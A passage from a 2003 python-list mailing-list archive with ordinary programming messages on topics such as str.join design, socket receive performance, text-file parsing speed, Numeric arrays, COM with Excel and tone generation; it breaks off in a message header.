References: <pan.2003.01.02.12.09.57.823588@contillion.com> <025d32cf-da98-4afa-ab9f-2f3f978a9c38@news.szn.dk> <6lea1vop870pak8iuohinerilg304sd493@4ax.com> <slrnb19vmq.h00.grey@teleute.dmiyu.org> <87d6neay90.fsf@gvdnet.dk> <slrnb1bnuk.o8n.grey@teleute.dmiyu.org> <av6v8k$h18$0@216.39.172.122> <slrnb1ef1h.4l0.grey@teleute.dmiyu.org> <av7tcs$je4$0@216.39.172.122> <slrnb1f9jg.83j.grey@teleute.dmiyu.org> 
Message-ID: <200301050810.h058A6jL023147@ratthing-b246.strakt.com>

> On 5 Jan 2003 00:14:20 GMT, Bengt Richter <bokr at oz.net> wrote:
> > But if your application is mostly special-purpose editing, you can't just
> 
>     That's just it, we're talking a mail or news application which does not
> have special purpose editing.  Create the application, call the editor.  That
> is the proper way to do it.  

Editors were invented before we had window systems.  I think if we had 
invented them in the other order we wouldn't have invented editors at
all, but just built editing functionality into our window system.  Probably
by building an extension language into our window system.  But then, I
am a mh user, who refuses to use a Mail system because I really want a
whole bunch of mail commands fully accessible from the shell.  What I
consider 'the ideal tool size' may be a lot _smaller_ than what you do.

Laura Creighton




From max at alcyone.com  Thu Jan  9 01:29:28 2003
From: max at alcyone.com (Erik Max Francis)
Date: Wed, 08 Jan 2003 22:29:28 -0800
Subject: Novel Thoughts on Scripting and Languages
References: <52719db8.0301062130.5299a0ff@posting.google.com> <dcuk1vgg1vel593evttuc99f9m5eq646i5@4ax.com> <b03e80d.0301070427.6db0ff67@posting.google.com> <52719db8.0301072113.3c143cfe@posting.google.com> <geVS9.14961$oS1.61201@news-server.bigpond.net.au> <52719db8.0301082209.5860f86d@posting.google.com>
Message-ID: <3E1D16C8.8563859F@alcyone.com>

James Huang wrote:

> General-purpose languages can do anything, so your first statement is
> always true. The vision is, JudoScript has very high level constructs
> including syntactical support, so that in many situations you can
> specify solution straightforwardly, intuitively and concisely. Of
> course, you can program, even for those areas that have high-level
> support (for whatever reason, say, study a particular Java API like
> javax.mail.* or java.util.zip.*).

Is there any point at which this thread will meander somewhere close to
have something vaguely to do with Python?

-- 
 Erik Max Francis / max at alcyone.com / http://www.alcyone.com/max/
 __ San Jose, CA, USA / 37 20 N 121 53 W / &tSftDotIotE
/  \ All bad poetry springs from genuine feeling.
\__/ Oscar Wilde
    Bosskey.net: Counter-Strike / http://www.bosskey.net/cs/
 A personal guide to Counter-Strike.



From max at alcyone.com  Wed Jan 29 05:42:05 2003
From: max at alcyone.com (Erik Max Francis)
Date: Wed, 29 Jan 2003 02:42:05 -0800
Subject: else in list comp
References: <mailman.1043813212.6357.python-list@python.org> <eppstein-1A10DE.21363228012003@news.service.uci.edu> <mailman.1043821133.2501.python-list@python.org> <X1OZ9.133852$AA2.5571766@news2.tin.it>
Message-ID: <3E37AFFD.F17559C0@alcyone.com>

Alex Martelli wrote:

> IF (a BIG if) this is such a problem that it's worth adding stuff
> to Python, then clearly the added stuff must be general -- namely,
> a ternary (if not an even wider one-of-N) short-circuiting operator.

I agree.  If you're really wanting an else clause in the context of a
list comprehension, you really should be thinking instead in terms of
wanting a conditional/tenary operator, rather than some special syntax
specific to list comprehensions only.

As you suggest with your emphasis on _if_, whether you do that is really
independent of the value you attach to a conditional operator being
introduced to Python (I myself am in favor of it).

-- 
 Erik Max Francis / max at alcyone.com / http://www.alcyone.com/max/
 __ San Jose, CA, USA / 37 20 N 121 53 W / &tSftDotIotE
/  \ The color is red / Under my shoe
\__/ Neneh Cherry
    CatCam / http://www.catcam.com/
 What do your pets do all day while you're at work?  Find out.



From vze33v6m at verizon.net  Wed Jan 15 13:48:16 2003
From: vze33v6m at verizon.net (news.verizon.net)
Date: Wed, 15 Jan 2003 18:48:16 GMT
Subject: New User in Python: What went wrong?
Message-ID: <Q1iV9.2$zH5.0@nwrddc03.gnilink.net>

SyntaxError: invalid syntax
  File "C:/Python/test.py", line 10
    print "12*4 =" 12*4
                         ^
SyntaxError: invalid syntax


------------------------------
The actual Program: 

#this is not quite true outside of USA
#and is base on my dim memorie of my younger years
print "Firsttish Grade"
print "1+1 =", 1+1
print "2+4 =", 2+4
print "5-2 =", 5-2
print
print "Thirdish Grade"
print "243-23 =", 243 - 23
print "12*4 =" 12*4
print "12/3 =" 12/3
print "13/3 =",13/3," R ",13%3
print
print "Junior High"
print "123.56-63.12 =",123.56-62.12
print "(4+3)*2 =",(4+3) *2
print "4+3*2 =", 4+3*2
print "3**2 =", 3**2
print


==============
What did I do wrong? Pls excuse my obvious stupid questions as I am just a newbe.

Thanks
pavs
-------------- next part --------------
An HTML attachment was scrubbed...
URL: <http://mail.python.org/pipermail/python-list/attachments/20030115/675a7145/attachment.html>

From Thilo.Ernst at dlr.de  Fri Jan 31 14:08:52 2003
From: Thilo.Ernst at dlr.de (Thilo Ernst)
Date: Fri, 31 Jan 2003 20:08:52 +0100
Subject: ANN: socketrecvall-1.0 extension module
Message-ID: <3E3AC9C4.69440435@dlr.de>

This module might help if you observe 
degrading performance when receiving large 
chunks of data from a TCP socket.


Summary

    Add-on module for 'socket' or 'timeoutsocket'.
    Implements a function

         recvall(socket, total_size) -> string

    which synchronously receives a large, known-length
    chunk of data in one go. recvall() behaves like
    recv(..., flags=MSG_WAITALL) - its main reason of
    existence is that some platforms (notably Win32/
    Winsock2) do not support the MSG_WAITALL flag.

    In practice this means that big transmissions end up
    getting splitted into many small chunks which get
    combined only on Python level (even when resorting
    to a read() on the result of makefile(), that's what
    happens). This means lots of overhead for allocating,
    concatenating and finally deallocating many small
    intermediary receive buffers. So implementing the
    'receive loop' in C rather than Python and employing
    one large receive buffer (inside a Python string
    object allocated for the purpose) buys us a
    substantial speed gain.

    Also, overlapping communication and computation is
    improved as recvall() releases the global interpreter
    lock for the duration of the entire transfer rather
    then 'on and off' for all individual recv()'s.

    In our application (which employs a pure-Python server
    sending an endless stream of ~2MB data blocks over TCP
    and a Python client now using this extension, both
    running on Windows), we achieved a speedup of 15 and were
    finally able to closely approach the nominal throughput
    of the underlying network hardware (test settings:
    768KBit/s Bluetooth, 10MBit/s and 100MBit/s Ethernet).
    If this can be achieved on Windows with just the standard
    socket module (e.g. by tuning TCP/IP parameters in the
    registry) we'd like to learn how.

    The recvall() function works both with socket objects as
    returned from socket.socket() and with the wrapper objects
    employed by the 'timeoutsocket' module.

    A second function

            recvall_cycles() -> int

    can be called after recvall() and returns the number of
    internal recv() cycles that occurred during the recvall().

    It would be possible to integrate this code more closely
    with the standard socket module (e.g. having it dynamically
    patch the socket.socket class on import) but it works, and
    the clean solution would be to move _recvall() into
    socketmodule.c anyway.

    This module was tested on Windows (98SE, 2000 and XP) and
    Linux (RH7.1). As Linux does support the MSG_WAITALL
    flag the extension is not really needed there; the port
    is meant merely as a first step towards cross-platformness
    since there probably are more OSes that lack MSG_WAITALL.

    License: Python License


Requirements

    Python 2.2 (tested, earlier versions should work, too)


Download

    Find distutils-based source and binary (win32, linux2) versions at:

     http://www.it-ernst.de/python


T. Ernst - te0006<that_special_character>web<dot>de




From edream at tds.net  Tue Jan 14 06:15:01 2003
From: edream at tds.net (Edward K. Ream)
Date: Tue, 14 Jan 2003 11:15:01 GMT
Subject: [ann] Minimal Python project
References: <mailman.1042209749.31180.python-list@python.org>
Message-ID: <ViSU9.131400$Hs2.11988028@kent.svc.tds.net>

> We announce a mailinglist dedicated to developing
> a "Minimal Python" version.  Minimal means that
> we want to have a very small C-core and as much
> as possible (re)implemented in python itself.  This
> includes (parts of) the VM-Code.

> Building on the expected gains in flexibility
> we also hope to use distribution techniques such
> as PEP302 to ship only a minimal set of modules
> and load needed modules on demand.

> As Armin Rigo of PSYCO fame takes part in the effort,
> we are confident that MinimalPython will eventually
> run faster than today's CPython.

> And because Christian Tismer takes part, we are
> confident that we will find a radical enough
> approach which also fits Stackless :-)

It now appears that I have misunderstood what these two paragraphs meant. I
apologize for any confusion that I have created.

My initial reading of this was that MinimalPython would be faster _because_
parts of the VM code were merely recoded in Python. After studying psyco
further it seems more likely that what was meant was that MinimalPython
could be faster than the present CPython because the techniques of psyco
might be applied to improve the speed of the present main interpreter loop.
The former statement seemed (and still seems) most unlikely.  The latter
statement seems quite plausible.

In short, I really don't understand the aims of this project very well.  I
can imagine that it has one or more of the following goals:

1. To code as much as possible of the Python distribution in Python.
2. To increase the speed of Python by integrating psyco into the
interpreter.
3. To provide a test-bed for alternative implementations such as stackless.

What happens if these goals conflict?  For example, much of psyco is
presently written in C.  I don't suppose these goals imply that all of psyco
will be recast in Python, or do they?  If recasting code in Python conflicts
with increasing code speed, which is most important?  What happens if the
goal of supporting stackless Python conflicts with the other goals?

Any clarifications from the original posters would be most welcome.

Edward
--------------------------------------------------------------------
Edward K. Ream   email:  edream at tds.net
Leo: Literate Editor with Outlines
Leo: http://personalpages.tds.net/~edream/front.html
--------------------------------------------------------------------






From tchur at optushome.com.au  Thu Jan 16 02:38:30 2003
From: tchur at optushome.com.au (Tim Churches)
Date: 15 Jan 2003 21:38:30 -1000
Subject: Soundex or Metaphone algorithms ?
In-Reply-To: <199f365a.0301150213.45dbb9a5@posting.google.com>
References: <199f365a.0301150213.45dbb9a5@posting.google.com>
Message-ID: <1042702721.1270.6.camel@emilio>

On Wed, 2003-01-15 at 00:13, Arkana wrote:
> hello,
> 
> does anyone know an implementation of soundex or metaphone algorithm in python ?
> 
> (or maybe a better algo)

Yes, you can find these and others in the encode module of the Febrl
(Freely extensible biomedical record linkage) package, at
http://datamining.anu.edu.au/projects/linkage.html

Although the soundex and metaphone functions are OK, the implementations
of some of the string comparator functions have subtle errors - these
will be fixed in the next release of the package in a week or two (which
also comes with unit tests to make detection of such errors easier in
the future).

Tim C






From maney at pobox.com  Sun Jan 19 00:05:01 2003
From: maney at pobox.com (Martin Maney)
Date: Sun, 19 Jan 2003 05:05:01 +0000 (UTC)
Subject: Coding standard: Prefixing variables to indicate datatype
References: <0BuV9.11459$CG6.203654@news4.e.nsc.no> <3E267821.5030209@mxm.dk> <gXuV9.11465$CG6.203610@news4.e.nsc.no> <pan.2003.01.16.09.42.41.751206@webone.com.au> <c76ff6fc.0301161331.27350f1a@posting.google.com> <JTNV9.14383$Dq.1421728@newsread2.prod.itd.earthlink.net> <pan.2003.01.17.09.34.53.724229@webone.com.au> <tlSdnV4T_spIoLWjXTWcqg@comcast.com> <3E28D273.13497D3E@alcyone.com> <5OeW9.5344$bs2.4384@news2.central.cox.net>
Message-ID: <b0dblt$m38$1@wheel2.two14.net>

Steve Holden <sholden at holdenweb.com> wrote:
> Well, judgin by the number of times this topic comes up, and the vehement
> and long-drawn out arguments it has spawned [with some proponents *refusing*
> to admit the rationality of the way it's currently done even in the face of
> reasonable and reasoned explanation form illuminati such as Alex Martelli)
> it takes some people longer than others.

That's because they're right: it's not rational.  <wink>

> Despite the clear heavy-handedness of the alternative approach, not everyone
> is persuaded.

<nod> Making it a method of sequences would be almost equally
irrational.

'join' is not sensibly a method of either strings or sequences.  It is
a string _constructor_.

[oops, lost Erik's attribution line]:
>> Furthermore, it's inherently a string-based operation, therefore the
>> method should go on the string.

I agree that join is closely related to string objects, but that
doesn't make it any more rational to write it as a method of an object
that is in fact one of two arguments to the constructor... the optional
argument, at that!

>>  I personally find ','.join(S) extremely inuitive and readable.

I find it quite learnable and don't dislike it - the advantage of not
needing to import the string module is worth the cost - but I doubt I
will ever agree that it's actually sensible.  string.join() was really
the proper logical form if "string" were a class rather than a module. 
Perhaps making it a builtin would have been the best compromise between
logic and practicality?



From ark at gmx.net  Sun Jan  5 15:03:04 2003
From: ark at gmx.net (Arne Koewing)
Date: 05 Jan 2003 21:03:04 +0100
Subject: Zmodem for Python? newbie question
References: <3e14df8c$1@news.zianet.com>
Message-ID: <ava4lp$hc4@news.Informatik.Uni-Oldenburg.DE>

perhaps there is an commandline client you can use?
parhaps somebody as ported the 'lrzsz' package 
...
googling
...

but no results... 
:-(



From gerson.kurz at t-online.de  Thu Jan  2 13:11:27 2003
From: gerson.kurz at t-online.de (Gerson Kurz)
Date: Thu, 02 Jan 2003 18:11:27 GMT
Subject: Win32 Drive List Redux
References: <ert1va.ruj2.ln@boundary.tundraware.com>
Message-ID: <3e148044.14479640@news.t-online.de>

Hehe, you could use

"""
The SetErrorMode function controls whether the system will handle the
specified types of serious errors, or whether the process will handle
them. 

UINT SetErrorMode(
  UINT uMode   // process error mode
);

...
SEM_NOOPENFILEERRORBOX: The system does not display a message box when
it fails to find a file. Instead, the error is returned to the calling
process. 
"""

but then you'd need win32api again... 



From list.adam at twardoch.com  Wed Jan 15 18:15:30 2003
From: list.adam at twardoch.com (Adam Twardoch)
Date: Thu, 16 Jan 2003 00:15:30 +0100
Subject: Locale-sensitive list separator under Windows
Message-ID: <b04qa1$l5l8c$1@ID-135222.news.dfncis.de>

How can make Python resolve the locale-sensitive list separator under
Windows? I mean the one that is set under Control Panel / Regional Options /
Numbers / List separator.

Adam




From dragonscraft at yahoo.it  Mon Jan  6 11:56:28 2003
From: dragonscraft at yahoo.it (Stan)
Date: 6 Jan 2003 08:56:28 -0800
Subject: Numeric array and for loops problem
Message-ID: <c5598079.0301060856.4012672b@posting.google.com>

Hi all
 I've made the following pice of code

		try:
			f = open(os.path.join("xxx", fname))
		except IOError:
			print "no such a file"
		else:
			lines = f.readlines()					
			worldy = len(lines)
			worldx = len(lines[0])/2
			worldarray = Numeric.zeros((worldy,worldx))
			y = -1 #***because arrays starts at 0***
			for line in lines:
				y += 1
				vals = split(line)
				x = -1  #***same as y***
				for val in vals:
					x += 1
					worldarray[x,y] = val
			f.close()

It should read some strings from a file and insert their value into
worldarray
The file is so strocturated:
Some string of numbers (all same lenght) all separated by whitespace.
But python give me this message error!!! I really can't understand
where's the matter? It's not possible such an assignment?
worldarray[x,y] = val
ValueError: array too large for destination



From mak at trisoft.com.pl  Tue Jan 14 12:01:04 2003
From: mak at trisoft.com.pl (Grzegorz Makarewicz)
Date: Tue, 14 Jan 2003 18:01:04 +0100
Subject: base64.decodestring problem
References: <3e243043.3717561981@news.mad.ttd.net> <15908.14987.702499.306815@montanaro.dyndns.org>
Message-ID: <3E244250.1070405@trisoft.com.pl>

Skip Montanaro wrote:
>     Manuel> I'm using base64 with xmlrpclib to implement a xmlrpc server.
>     Manuel> The server is running fine, and the client under Linux/Solaris
>     Manuel> run fine too.
> 
>     Manuel> However, the same client under Windows don't run correctly.
> 
> May sure you open the output file in binary mode on Windows.
> 
> Skip
> 

Already reported as python bug #656392 - base64.decode may produce 
corrupted data on any platform.

example:

import base64
print map(ord,base64.decodestring('   \r\n'))

should return empty string but random data is returned

mak





From vecernik at aon.at  Wed Jan 15 03:44:17 2003
From: vecernik at aon.at (Oliver Vecernik)
Date: Wed, 15 Jan 2003 09:44:17 +0100
Subject: Desperately seeking programmer who knows python and Visual basic!
References: <30ce357a.0301141655.133c00fc@posting.google.com>
Message-ID: <3E251F61.4080003@aon.at>

hockeymike schrieb:
> Could someone please translate the following statement from Python to
> its equivalent in Visual Basic please??
> 
> 
> points = 0
> 
> for level in range(1,100):
> 
> diff = int(level + 300 * math.pow(2, float(level)/7) )
> 
> points += diff
> 
> str = "Level %d = %d" % (level + 1, points / 4)
> 
> print str
> 
> It was supposed to be used for an experience point calculator for an
> online game, and I want to use it....however, i dont know
> Python....Thank you if you can give me any help

points = 0
For Level = 1 To 99
diff = Int(Level + 300 * 2 ^ (Level / 7))
points = points + diff
Debug.Print "Level"; Level + 1; " ="; Int(points / 4)
Next


HTH
Oliver




From tdelaney at avaya.com  Thu Jan 16 00:54:36 2003
From: tdelaney at avaya.com (Delaney, Timothy)
Date: Thu, 16 Jan 2003 16:54:36 +1100
Subject: Python as a base for an Open Source Foxpro
Message-ID: <B43D149A9AB2D411971300B0D03D7E8B0294351A@natasha.auslabs.avaya.com>

> From: Lulu of the Lotus-Eaters [mailto:mertz at gnosis.cx]
> 
> [*] FWIW, this is only half tongue-in-cheek.  I really do know both
> languages, and really would be happy to accept work doing 
> such a thing.

As opposed to me, who really does know both languages (or at least *has*
known Visual FoxPro) and will run screaming if anyone suggests the slightest
possibility of ever using it again.

Tim Delaney




From mail at stevesimmons.com  Tue Jan 28 08:44:05 2003
From: mail at stevesimmons.com (Stephen Simmons)
Date: Tue, 28 Jan 2003 14:44:05 +0100
Subject: Can you do it faster? (parsing text file)
References: <3e3650fc.2103718@news.easynews.net>
Message-ID: <001c01c2c6d3$558f02b0$0364a8c0@bcg.com>

Marcus,

Have you looked at Mike Fletcher's SimpleParse package
(http://sourceforge.net/projects/simpleparse/)? This is an EBNF interface
for Marc-Andre Lemburg's mxTextTools text tagging engine
(http://www.lemburg.com/files/python/mxTextTools.html). You write an EBNF
grammar for your data format, then use SimpleParse to build a mxTextTools
parser. It's simple to use, very fast (since the mxTextTools parser does all
its hard work in a C module rather than the Python interpreter), and--dare I
say it--a lot of fun!

I use it for parsing complicated text structures out of 60Mb RTF text files.
The EBNF grammars are long and complicated with deeply nested entity
definitions (the grammar itself is ~200 lines long). Nevertheless
SimpleParse/mxTextTools takes around a minute to parse and tag, which is
several orders of magnitude faster that I feel it really ought to take.

Your data structure is much, much simpler, and your files smaller. So if
your code takes 32 seconds at the moment, maybe 5 seconds or less or so
could be possible.

Best of luck,

Stephen

----- Original Message -----
From: "Marcus Stojek" <stojek at part-gmbh.de>
Newsgroups: comp.lang.python
To: <python-list at python.org>
Sent: Tuesday, January 28, 2003 12:16 PM
Subject: Can you do it faster? (parsing text file)


> Hi,
>
> I have to parse large txt-files (15Mb and more, 200000 lines).
> The file consits of comma separated keywords and alphanumerical data.
> Each command line starts with some or no blanks, a '*' and the keyword
> followed by comma separated paramters
> (*LINE,colour= red, thiCKneSS=2.3
>  12.3,34.5,2.0
>  67.0,3.1,45.9
>  12.3,34.5,2.0
>  67.0,3.1,45.9
> *LINE,colour= blue, thiCKneSS=2.6,
>  12.3,34.5,2.0
>  67.0,3.1,45.9
> **This is a comment
> **default color and thickness
> *LINE,,
>  67.0,3.1,45.9
> )
> comment lines  have to start with some or no blanks and a '**'
>
> For parsing this file I want to generate a list containing all tokens
> (keyword,parameter,data), one after the other.
>
> The replace operations are done with the whole file instead of
> for li in fa.readlines():
> because I think it's faster.
>
> To delete the comment lines I have to split the file, then filter it.
>
> Afterwards the single lines are attached to the token list that will
> be parsed.
>
> Below you find an example that generates a dummy file and parses it.
> On my office PC it takes 16 seconds for preparing the token list and
> 16 seconds for parsing. This is too slow for me. Does anybody see
> where I am loosing speed? I tried working with re to get rid of the
> comment lines, but this is not much faster. Using string.translate()
> instead of the two replace() and one upper() didn't increase the speed
>
> either.
>
> Is there a differnt approach for parsing such a file?
>
> Thanks for any help.
>
> marcus
>
>
>
> #---snip----------------------------------------------------
> import string
> import time
>
> #----------------------------------------------------------
> def delcomm(x):
>     if x[:2]!='**':
>         return 1
>     else:
>         return 0
> #----------------------------------------------------------
> def read_file(filename):
>     fa=open(filename,'r')
>     d=fa.read()
>     fa.close()
>
>     d=string.replace(d,' ','')
>     d=string.replace(d,'\t','')
>     d=string.upper(d)
>
>     d=string.split(d,'\n')
>
>     d=filter(delcomm,d)
>
>     tok=[]
>     for s in d:
>         tok.extend(string.split(s,','))
>
>     tok=filter(lambda x:x,tok)
>     tok.append('*ENDFILE')#emulate EOF
>
>     print 'prepare token list:',time.clock()
>     print tok[-10:]
>     return tok
> #----------------------------------------------------------
> def parse_file(filename):
> # the light version, assuming number and order of parameters are fixed
>     tok=read_file(filename)
>     lines=[]
>     i=0
>     while tok[i]:
>         if tok[i]=='*LINE':
>             color=tok[i+1]
>             thick=tok[i+2]
>             i+=3
>             data_per_line=3
>             while tok[i][0]!='*':
>                 x,y,z=tok[i],tok[i+1],tok[i+2]
>                 lines.append((float(x),float(y),float(z)))
>                 i+=data_per_line
>         elif tok[i]=='*ENDFILE':
>             return lines
>         else:
>             i+=1
>     return 0
> #------------------------------------------------------------
> def gen_file(filename):
>     fa=open(filename,'w')
>     for i in range(400):
>         fa.write('*LINE, Color =red, Thickness=3.1,\n')
>         for j in range(500):
>             fa.write('3.0000000,  2.0000000,  7.000000000\n')
>             fa.write('13.0000000,  97.0000000,  -127.000000000,\n')
>         for j in range(15):
>             fa.write('** This is a comment\n')
>             fa.write('     *** This is a comment, with a comma\n')
>     fa.close()
> #------------------------------------------------------------
>
> filename='d:/temp/bench.txt'
> gen_file(filename)
> time.clock()
> L=parse_file(filename)
> print 'parsing: ',time.clock()
> #---snip----------------------------------------------------
>
>





From donn at drizzle.com  Wed Jan 22 00:20:00 2003
From: donn at drizzle.com (Donn Cave)
Date: Wed, 22 Jan 2003 05:20:00 -0000
Subject: SNQ: stdin with both a pipe and keyboard
References: None <slrnb2r87t.tfl.ressler@cheetah.jpl.nasa.gov>
Message-ID: <1043212795.897835@yasure>

Quoth Michael Ressler <ressler at cheetah.jpl.nasa.gov>:
| Stupid newbie question: I'm trying to cobble together a little routine
| that will accept a bunch of data presented to it on stdin, then ask for
| a filename to save it to. Something like
|
| cat datafile | transfer_file
|
| where "transfer_file" asks "What destination?" and expects me to type in.
|
| I've been using sys.stdin.read() to suck in the data, but if I then use
| raw_input() or something like it to ask for the filename, I get an EOF
| error; like raw_input() was already expecting the keyboard text to
| be there without waiting for it.

Something like this may work, as far as the problem statement goes -

   data = suck_in_data();
   sys.stdin = open('/dev/tty', 'r')
   fname = raw_input('What destination? ')
   ...

	Donn Cave, donn at drizzle.com



From wurmy at earthlink.net  Sun Jan 19 14:32:09 2003
From: wurmy at earthlink.net (Hans Nowak)
Date: Sun, 19 Jan 2003 19:32:09 GMT
Subject: Coding standard: Prefixing variables to indicate datatype
References: <0BuV9.11459$CG6.203654@news4.e.nsc.no> <pan.2003.01.17.09.34.53.724229@webone.com.au> <tlSdnV4T_spIoLWjXTWcqg@comcast.com> <3E28D273.13497D3E@alcyone.com> <b0cugo$97r$1@panix2.panix.com> <i7KdnckAi6lfkLejXTWcog@comcast.com>
Message-ID: <Z2DW9.1203$Sv3.158990@newsread1.prod.itd.earthlink.net>

Terry Reedy wrote:

[join method]
> And likewise, admitting that it is a bit ugly, at least to some,
> is no exclusion to thinking that it is very handy to have it
> directly available, just like its quasi-inverse, .split(),
> and with the same syntax.

If the join operation is done by calling a method on the separator, I would 
expect the same on the split operation:

   " ".split("a b c")
   # should yield ["a", "b", "c"]

...but for some reason, that didn't make it into the design. ;-)

-- 
Hans (base64.decodestring('d3VybXlAZWFydGhsaW5rLm5ldA=='))
# decode for email address ;-)
The Pythonic Quarter:: http://www.awaretek.com/nowak/
Kaa:: http://www.awaretek.com/nowak/kaa.html




From jones57 at swbell.net  Thu Jan 30 04:17:18 2003
From: jones57 at swbell.net (sj)
Date: Thu, 30 Jan 2003 09:17:18 GMT
Subject: Sound programming: Tone production in Python?
References: <mailman.1043268167.29013.python-list@python.org>
Message-ID: <y46_9.9$tj1.21194875@newssvr11.news.prodigy.com>

Joseph Blaylock wrote:

> 
> I've been searching around the 'net for information on sound programming
> in Python, particularly tutorials, etc., but the outlook appears to be
> pretty
> bleak.  There's a lot of stuff about playing back previously-sampled audio
> files, but I haven't found anything about making music or (especially)
> generating raw tones.
> 
> For example, if I wanted to generate a tone of 200 hertz and a tone of 205
> hertz on audio channels 0 and 1, respectively, for a duration of two
> seconds,
> how might I accomplish this?  Pygame's sndarray module looks promising,
> but seems a bit light on it's documentation, especially of a tutorial
> nature.
> 
> So: can anybody tell me a sure-fire way to generate tones from Python? 
> Bonus points for sticking to packages that are in Debian unstable, or part
> of the
> basic distribution.  And further, can anybody provide me pointers to more
> generalized sound/music programming resources for Python, especially of a
> tutorial nature?
> 
> Thanks!
> 
>     Joe

Although this doesn't answer your question re python you might be interested 
in these other synthesis packages.

1. Nyquist is an extension of XLisp with very power synthesis/composition 
functions.  It is featured in the Fall 1997 issue (Vol 20, No 3) of the 
Computer Music Journal  
http://mitpress2.mit.edu/e-journals/Computer-Music-Journal/

You can find binaries and sources at 
http://www-2.cs.cmu.edu/afs/cs.cmu.edu/project/music/web/music.software.html

2. "Common Lisp Music" is another very powerful synthesis language based on 
lisp.  I have not used it myself and don't have the URL offhand but it 
should be easy to find.


Steven Jones




From grante at visi.com  Sat Jan  4 00:53:49 2003
From: grante at visi.com (Grant Edwards)
Date: 04 Jan 2003 05:53:49 GMT
Subject: how to submit a patch?
References: <3e160e11$0$229$a1866201@newsreader.visi.com> <slrnb1c3u0.3kp.gerhard.haering@lilith.my-fqdn.de> <3e1616fc$0$174$a1866201@newsreader.visi.com> <m37kdl4yex.fsf@mira.informatik.hu-berlin.de>
Message-ID: <slrnb1ctuj.alu.grante@localhost.localdomain>

In article <m37kdl4yex.fsf at mira.informatik.hu-berlin.de>, Martin v. L?wis wrote:
> grante at visi.com (Grant Edwards) writes:
> 
>> > http://www.python.org/dev/devfaq.html#patches
>> > 
>> > ?
>> 
>> No.  
> 
> Did you log-in, and fail to find the "Submit new" link, or did you
> fail to log-in?

The latter.

> If the latter: the text didn't really say that you have to login (it
> was only strongly recommended); this should be corrected now.

Thanks.  The really embarassing thing is that I've submitted patches on SF
several times before.

> If the former: Can you propose specific wording to make it clearer?

-- 
Grant Edwards                   grante             Yow!  Here I am in 53
                                  at               B.C. and all I want is a
                               visi.com            dill pickle!!



From markus_wankus at hotmail.com  Sun Jan 12 11:13:01 2003
From: markus_wankus at hotmail.com (Markus Wankus)
Date: Sun, 12 Jan 2003 11:13:01 -0500
Subject: Python COM and bitmap Resource ID's
In-Reply-To: <opriuzx8u98cxiwf@news1.on.sympatico.ca>
References: <opriuzx8u98cxiwf@news1.on.sympatico.ca>
Message-ID: <opriv9zzvn8cxiwf@news1.on.sympatico.ca>

Hmmm....looking through the win32ui documentation, I thought maybe 
something like:

win32ui.SetResource(win32ui.LoadLibrary('some_dummy_dll_with_bitmap_resources.dll') 
)

...might do the trik.  It doesn't appear to work.  Does anyone know if I am 
tryiing to do something that is not possible?

Thanks,
Mark.

On Sat, 11 Jan 2003 18:38:22 -0500, Markus Wankus 
<markus_wankus at hotmail.com> wrote:

> Hi everyone,
>
> I am playing with Python and COM (win32all).  I have gotten farthan than 
> I would have thought myself capable of getting.  My ultimate goal is to 
> use my Python COM server to create a custom toolbar, which will lauch 
> pure Python scripts inside the app I am customizing.
>
> Well, the app I am working with provides this functionality through the 
> following API funtion:
>
> AddToolbar ( Cookie, Title, SmallBitmapResourceID, LargeBitmapResourceID, 
> MenuPositionForToolbar, DocumentType )
>
> Where you must specify the resource ID's of the large and small bitmap.  
> Normally these are within the .dll calling the AddToolbar function, but I 
> don't have a .dll - I have Python!  Is there any way to fool this into 
> grabbing a bitmap from somewhere? i.e. - Can you create a resource out of 
> a bitmap on the fly with the win32all extensions or something?



From nospam at bigfoot.com  Mon Jan 20 12:06:10 2003
From: nospam at bigfoot.com (Gillou)
Date: Mon, 20 Jan 2003 18:06:10 +0100
Subject: Python, COM & Excel
References: <6af8e801.0301172302.56c19659@posting.google.com> <6orW9.65051$Pb.2682414@twister.austin.rr.com>
Message-ID: <b0h9g2$1ffa$1@norfair.nerim.net>

"Brandon Beck" <bbeck at NOSPAM.austin.rr.com> a ?crit dans le message de news:
6orW9.65051$Pb.2682414 at twister.austin.rr.com...
> I find the best way to figure out exactly what COM calls you need to
> make, is to have a sample spreadsheet of the report you want to
> generate, and record macros of yourself doing the actions you want your
> report to automatically do.  Once you're done, go look at the generated
> VBA code, and the functions that are being called.  There is usually a
> 1:1 correspondence between those functions and the ones you need to call
> via COM from python.  I also tend to try to avoid using the ActiveSheet
> or ActiveWindow objects.  I haven't ever found a need for them given
> that my python scripts usually always know exactly which worksheet
> they're dealing with.

There's a better way to get the objects/methods exposed from an Excel COM
object :
Look at the help of Excel :
Programmer information>Visual Basic reference > Microsoft Excel objects
All you need is translating VB API to Python.

--Gilles






From whisper at oz.net  Wed Jan 22 16:40:17 2003
From: whisper at oz.net (David LeBlanc)
Date: Wed, 22 Jan 2003 13:40:17 -0800
Subject: xmlrpcchat
Message-ID: <GCEDKONBLEFPPADDJCOEAEOAHIAA.whisper@oz.net>

Looking for the author. The .tgz is bare of any information.

Thanks,

David LeBlanc
Seattle, WA USA 




From meinrad.recheis at gmx.at  Sun Jan 26 14:56:43 2003
From: meinrad.recheis at gmx.at (hénon)
Date: Sun, 26 Jan 2003 20:56:43 +0100
Subject: cleanup questions?
Message-ID: <b11eg4$rt3$1@news.tuwien.ac.at>

hi, i have two questions:

1) How do i get a list of all existing (previously generated) objects in the
interpreters namespace?
    and is there a command to clean them all up?

2) How do I clean up JFrames in Jython?

    a) I found that this doesn t really kill a frame:
    f = JFrame()
    f.visible=1
    #frame will be displayed
    del f
    # now f is removed from namespace, but the frame is still visible/in
memory

    b) there is this method dispose()
    f.dispose()
    # frame disappears and according to java.awt.Window's doc also frees its
memory,  but...
    print f
    # the frame is still there in jython as string-rep..
    # ok then
    del f

    is this the right way to kill it completely?







From amk at amk.ca  Fri Jan 17 10:23:53 2003
From: amk at amk.ca (A.M. Kuchling)
Date: Fri, 17 Jan 2003 09:23:53 -0600
Subject: Syntax modification idea: (classmethods, properties locking...)
References: <b077d1$7ag@news.Informatik.Uni-Oldenburg.DE> <mailman.1042756712.16794.python-list@python.org>
Message-ID: <gX-dnQNQmM2UvbWjXTWcpw@speakeasy.net>

On Thu, 16 Jan 2003 16:37:07 -0600, 
	Jeff Epler <jepler at unpythonic.net> wrote:
> Something like this was suggested once, possibly on python-dev.  The
> syntax proposed there was:
>     def f() [classmethod]:
>         pass
> A chained form was also proposed.
> The proposal did not win any wide acceptance.

Quixote's PTL adopted a variation of it:

def template [html] ():
    ...

--amk



From claird at lairds.com  Thu Jan  9 08:51:02 2003
From: claird at lairds.com (Cameron Laird)
